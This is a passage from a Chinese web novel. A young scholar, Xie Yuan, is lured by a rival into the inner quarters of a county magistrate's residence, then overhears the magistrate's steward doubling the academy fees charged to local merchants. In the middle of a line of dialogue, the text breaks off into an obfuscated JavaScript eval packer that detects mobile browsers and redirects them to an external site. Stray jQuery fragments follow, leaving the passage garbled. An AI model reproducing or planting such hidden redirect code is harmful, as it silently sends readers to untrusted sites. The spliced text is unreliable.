隔着一方池塘,谢渊远远眺望着那座被树影掩盖的花厅。
人头攒动间,还能看到不少熟悉的面孔,皆是家里摆宴那日,主宅那头请来的城中富商。
到底为了何事,才需要用他们来当借口,将城中富商都聚在这里?
谢渊脑海中闪过各种猜测,却不能近前打听,因为那青袍管事正带着人守在花厅外。
他收回视线,开始做赏景状,脑中边描绘着这园子的地形与方向。
假山与树影交错,虽多了几分探索之趣,可这也让谢渊不能一眼将这园子的布局探清。
他踱步而行,试图沿着树影能寻到其它出口,也好另辟蹊径靠近那座花厅。
谁知还没转几步,身边就有人凑了上来。
“谢兄,久仰久仰!在下赵明德,现正在县衙家塾中求学,今年院试我等前去赴考,却不如谢兄成绩斐然,一举通过院试,实在惭愧。”
谢渊闻言转身看去,只见来人与他差不多年纪,个子却不高,偏瘦的身形长着一张圆圆脸,面上是热情洋溢的笑容,加上大方爽朗的性子,让人很难对他设防。
他似乎也十分了解自己的优势,自来熟地拉着谢渊便展开了话题,只是谢渊反应淡淡,并不打算与他相交。
赵明德也不介意他的态度,反而贴心地向他介绍起这园子。
“谢兄是第一次来枕流园吧?这园子布置精巧,十分有趣。若谢兄在秋日过来,还能看见园中的几株银杏金黄宛如燃烧状,十分震撼。如今正值夏日,枝繁叶茂,生机勃勃,也别有一番看头,我看谢兄一直在此处徘徊,想必也会喜欢那几株银杏,不如由我带路,咱们二人去那边转转如何?”
赵明德忽然抬手指向一侧角落不起眼的月洞门,面上还挂着体贴周到的笑容。
谢渊本不想与这人纠缠,可他脚下却一直挡着自己不肯挪步。
他的视线越过赵明德落在前方水榭中的几人,自方才起他们或鄙夷或轻蔑的目光,便一直有意无意落在自己身上。
不只是他们,还有这园中的绝大部分人,对自己的出现无一不是排斥异己的神色。
谢渊几乎是瞬间就捕捉到了那些不好怀意的目光,自他幼时起,这种感知便一直伴随着他从未消散,如今已几乎成为本能。
只是他如今,已经不会再因为他人的看法而感到恐惧不安了。
待看清那门的方向,谢渊忽然扬唇一笑道:“好啊,劳烦你带路。”
赵明德被那张耀眼的的脸晃了一瞬,暗骂一句这小子倒是有副好皮囊。
不过这也好,说不定事情会更顺利。
他面上笑容更深,脚下加快几步向前领头。
绕过那不起眼的月洞门,眼前又是不同风景。若说方才的枕流园还有不少野趣,那此时的朱楼碧瓦显然已开始有了宅院的氛围。
赵明德边走还边介绍:“此处连着书塾的院子,无甚看头,不过从这儿穿过去后有几株银杏,据说已有几百年了,树体高大,形态沧桑,很是壮观。”
谢渊神色如常地跟在他身后,对于为何越走越僻静,他丝毫不在意。
赵明德见他全无警惕,心中嗤笑,没想到自己随便说几句他也信,想必是早被谢家大房过继出去,平日里也没见过什么好东西吧?
赵明德心中顿时涌起一股难以言喻的自满,且越发大胆地将他往内宅引去。
县衙后宅原本只三进一出,崔县令上任没两年便悄无声息将四周宅院吞并。如今后宅占地宽阔,各个院子更是盘根结错,若不是赵明德已在这里上了几年学,还不知道穿过小径后便是女眷住所的范围。
虽然住所有婆子把守,绝不可能让外男进去,可那边还有个园子,就看得没这么严了。
赵明德年纪更小时胆大包天,曾和人避开巡视的仆妇偷偷从小径绕过去,却撞上了县令家的美妾在园子里纳凉。
她们似是想不到竟有人敢溜进女眷的内院里,当下都没反应过来,还以为几人是家里哪个小子,要拿糕给他们吃。
虽然最后还是被拆穿了,赵明德胜在年纪小,那会儿只有九岁,只被打了一顿手板和罚抄了两月的书,另一个长他两岁的那人就没这么幸运了,当日直接被书塾赶了出去。
若是谢渊闯进内院的事闹出去,定会在县令大人面前丢尽脸面,看他还怎么得意。廪生又如何,他要让他爬得多高,就跌得有多惨!
赵明德觉得自己这点子简直天衣无缝,加上今日枕流园客多,许多下人都调来伺候了,一路走过来,这边竟连个巡视的仆妇都看不见。
二人顺利穿过小径,来到内院的边缘,前方院墙已能看见那几株银杏茂盛的枝叶正在探头,只需再穿过一道小门,就算踏入内院范围了。
此处僻静,平时并无人来,就连巡视看守的婆子也偷懒,连门锁坏了都不知。
赵明德看着那把布满锈迹的门锁,上前抬手一抽,锁杆便掉了下来。
几月前他闲来无事晃到这里就发现这门锁坏了,没想到几月过去还没换掉。
他心道这真是天意助我,却还不忘对谢渊解释:“这几株银杏太高了,怕书塾里那些年纪小的过来攀爬,所以才挂个锁在此处唬人。”
赵明德推开门让路,却又突然捂着肚子为难道:“谢兄请先进去吧,我得先去解决一下五谷轮回,才能回来作陪。”
谢渊静静看他,扬唇笑道:“赵兄请便。”说罢抬脚迈进了门。
赵明德见状瞬间换了张脸,他迅速将门一关,挂上那把旧锁头后,又捡起根粗木棍插上门环。
这下除非这小子能空手劈刃,否则他就老实在里边呆着吧,最好多转转,转去女眷那头,闹个天翻地覆才好!
赵明德脸上满是得意,心里还盘算着一会儿若闹出来,自己要怎么添油加醋才好,脸上的幸灾乐祸藏都藏不住,抬着下巴甩手走了。
谢渊静静立在树下观察四周,耳边听着院墙另一头的脚步声逐渐远去,他也开始沿着墙脚绕行。
心中一边想着方才那花厅的方向,他如矫健猎豹隐秘地穿梭在园中的散点置石间。
赵明德特地将他引来,此处定不是他该来的地方,可他又实在好奇花厅里发生的事。若说此处是什么禁地,这院子看着并无稀奇之处,那么…….便只剩下内宅这个可能了。
若自己贸然闯入女眷内院,就冲方才那些人不怀好意的目光,怕是无意也会被他们三言两语定为故意。
且不说日后就此落一个孟浪的名声,只怕谢家为了不得罪县令,还会将他推出去认罪也说不定。
思及此,谢渊心中越发谨慎,可既然已经进来了,他不趁此机会打探出他们在花厅里的古怪,岂不是白白被赵明德算计一场?
他脚下轻盈,又庆幸今日身上穿的衣裳隐在山石树影间并不显眼。越往下走,湖石假山林立,更方便他隐蔽身形。
谢渊警惕四周,就这样悄无声息地摸到了方才花厅的大概位置。
他藏在假山高处,越过院墙看向不远处那座花厅的歇山屋顶。
院墙下方是条连廊,中庭只有座六角亭,没有隐蔽处,若贸然下去恐怕撞上人都无处躲。
他走到内院更深处,打算从花厅侧方一角潜进去。可如此一来,自己在内院暴露的风险便更大了些,因为他已经隐隐听到女子的说话声。
谢渊屏住呼吸,耐心等待那声音走远后,趁着四下无人,他快速走到墙根屈膝下蹲,双臂蓄力,紧接着脚掌猛地蹬地跃起。
在指尖擦过墙头青瓦的瞬间,谢渊手腕发力扣住砖棱,紧接着单膝顶住墙面借力,长腿顺势越过墙沿,整套动作一气呵成,仿佛一只灵巧的猫掠过屏障。
此处院墙与花厅一侧挨着虽略显狭窄,可出口处有竹丛和天竺等草木环绕,正好方便他能悄无声息来到花厅后方。
谢渊屏息贴墙,透过雕花窗棂的缝隙窥见厅内众人。
他来到此处绕一大圈耽误了不少长时间,里头好似还未开场,恭维声依旧此起彼伏。
他耐心听着,约摸过了一炷香后,才听见里面有人开口。
“今年府试监考,京里派的刺史是出了名的严苛,学生们也算是运气不好,加上这几年考卷试题越发刁钻,形势多变
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15767097|163908||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不仅咱们太康,就是河间府的松阳县,通过率也极低。”
此人声音浑厚,听着不像是崔卯。果然他话音一落,便有人忍不住质疑。
“崔管事,你说的这些是有几分道理,只是当初入学时说书塾里的先生具是才学渊博之士,怎么如今连城外那不知哪里来的村学究也比不过。且先不说谢举人家的公子,自是一脉相承的优秀,可另一个前几年还是个扶不起的阿斗,如今竟然也取得了功名,莫不是咱们这儿有人浑水摸鱼进来,将孩子们都教歪了?”
话毕,端坐在花厅内的人群顿时嗡的一声炸开细碎私语。
“每年的束脩节仪,文房四宝,咱们可一回都没落下过,没道理一个也考不上吧?”
“是啊是啊,我家子成整日手不释卷,废寝忘食,还是县试头名,怎么到了府城反倒落了榜?这没道理呀......”
“就是啊......这些先生是不是得换换,莫叫他们懈怠才是。”
不满的议论声撕开一个口子后便开始此起彼伏,崔卯神色自若端坐上首,手中捧着茶盏却不语。
管事伸手压了压,示意他们少安毋躁,等花厅内安静下来后,他才缓声道:“各位的顾虑,县尊大人都已猜到了。自今年的结果出来后,县尊大人也察觉到不对,于是亲自盘查,发现先生们确有懈怠的势头,只是如今英才难求,县尊大人耗费不少心力,才终于为书塾请回一位青州松鹿书院的先生,日后有他坐镇,想必不日便能扭转局面了。”
“松鹿书院?那个出了大儒萧问鹤的松鹿书院?此话当真?”
管事含笑道:“这是自然,谢举人也在那里求学,他可以作证。”
屋内的目光瞬间投向一直沉默的谢集英。
他点点头道:“确实如此,昭明先生虽没有功名在身,可他出身荆州杨氏,乃世家大族子弟,学识渊博,才学过人,是难得的名师。”
一听是名师,众人脸色瞬间变好了不少。管事也对自己接下来的话多了底气。
“为了请这位先生,县尊大人可费了不少心力,若还拿以往的待遇来孝敬先生,未免有些不合适。所以今年的束脩,要比过去多翻一倍,希望各位老爷能理解。”
随着管事话音落下,众人脸色变了又变。
最终还是有人忍不住道:“崔管事,外边私塾最贵的不过一年二十两,如今咱们一年束脩五百两,再翻一倍,是不是有点......太多了?”
即便他们生意做得再大,五百两也不是一笔小数目,要知道普通人家一年的嚼用也用不到二十两。
崔管事从容不迫,并没有打算跟他们讨价还价,直接一锤定音:“外边私塾可没法儿跟咱们比,赵老爷应该最清楚了。”
管事知道他儿子在进来前还在外边上过几年学,要知道在这儿还能过县试,若在外边不学到三四十岁可是半点机会都没有。
果然,此话一出,那赵老爷便垂着头坐下了。
兴许是觉得花厅内氛围太萎靡,崔卯终于肯屈尊降贵开口:“诸位放心,今年不过是个意外,太康县最好的先生都在此处,我又岂会对学生们坐视不管?”
得了崔卯的准话,众人的脸色才又变好看起来,只是这回血出得太狠,大家的笑容都多了几分苦涩。
崔卯有心想再给他们吃一剂定心丸,却听屋外闹哄哄的,他皱眉道:“出什么事了?”
有人疾步进来道:“大人,外边来人说......谢举人的公子,闯到内院去了。”
崔卯抬头看向变了脸色的谢集英,对来人朗声道:“让人别惊慌,不是什么大事,这孩子第一回进园子,走错路也是有的,让他们别吵吵嚷嚷得不像样子。”
那人拱手应是,随即又匆匆离开了。
谢集英上前就要请罪,崔卯却神色温和地拍了拍他的手道:“你别着急,走错了叫人带回来就是,不是什么大事,今日难得聚聚,咱们接着聊。”
花厅内被这插曲一打岔,众人都开始将注意力放在谢集英身上。
而花厅外的角落里,有个身影却在悄无声息地跃过院墙离开。